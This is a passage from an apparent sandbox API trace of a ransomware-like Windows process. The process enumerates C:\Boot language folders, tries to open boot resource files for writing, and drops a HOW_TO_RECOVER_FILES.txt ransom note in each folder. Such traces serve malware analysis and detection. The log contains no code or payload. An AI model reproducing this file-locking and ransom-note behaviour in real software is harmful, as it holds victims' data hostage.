lpBuffer="C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.058] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x332ca90 | out: lpFileInformation=0x332ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1 [0072.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.058] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.058] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.060] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.061] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x332d140 | out: lpFileInformation=0x332d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98)) returned 1 [0072.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.061] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.061] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.063] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.063] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\sv-se\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.065] GetFileType (hFile=0x768) returned 0x1 [0072.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.065] GetFileType (hFile=0x768) returned 0x1 [0072.066] WriteFile (in: hFile=0x768, lpBuffer=0x332fb40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x332fb40*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.066] CloseHandle (hObject=0x768) returned 1 [0072.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.067] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0072.067] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.067] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.068] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.068] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0072.068] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0072.068] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.068] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.069] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.069] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0072.069] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0072.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.069] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.069] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x333e798 | out: lpFileInformation=0x333e798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558)) returned 1 [0072.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.070] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.070] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.072] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.072] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x333ee48 | out: lpFileInformation=0x333ee48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0072.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.073] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.073] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.075] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.075] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\tr-tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.076] GetFileType (hFile=0x768) returned 0x1 [0072.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.076] GetFileType (hFile=0x768) returned 0x1 [0072.077] WriteFile (in: hFile=0x768, lpBuffer=0x3341848*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3341848*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.078] CloseHandle (hObject=0x768) returned 1 [0072.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.078] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\uk-UA", lpFilePart=0x0) returned 0xd [0072.079] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.079] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.079] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.079] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.079] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\uk-UA", lpFilePart=0x0) returned 0xd [0072.079] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.080] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.080] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.080] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0072.080] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.080] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\uk-UA\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.080] GetFileAttributesExW (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33501b8 | out: lpFileInformation=0x33501b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1 [0072.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.081] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\uk-UA\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.081] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.083] GetFullPathNameW (in: lpFileName="C:\\Boot\\uk-UA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\uk-UA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.083] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\uk-ua\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.083] GetFileType (hFile=0x768) returned 0x1 [0072.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.083] GetFileType (hFile=0x768) returned 0x1 [0072.084] WriteFile (in: hFile=0x768, lpBuffer=0x3352bb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3352bb8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.085] CloseHandle (hObject=0x768) returned 1 [0072.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.085] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0072.085] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.399] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.400] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, 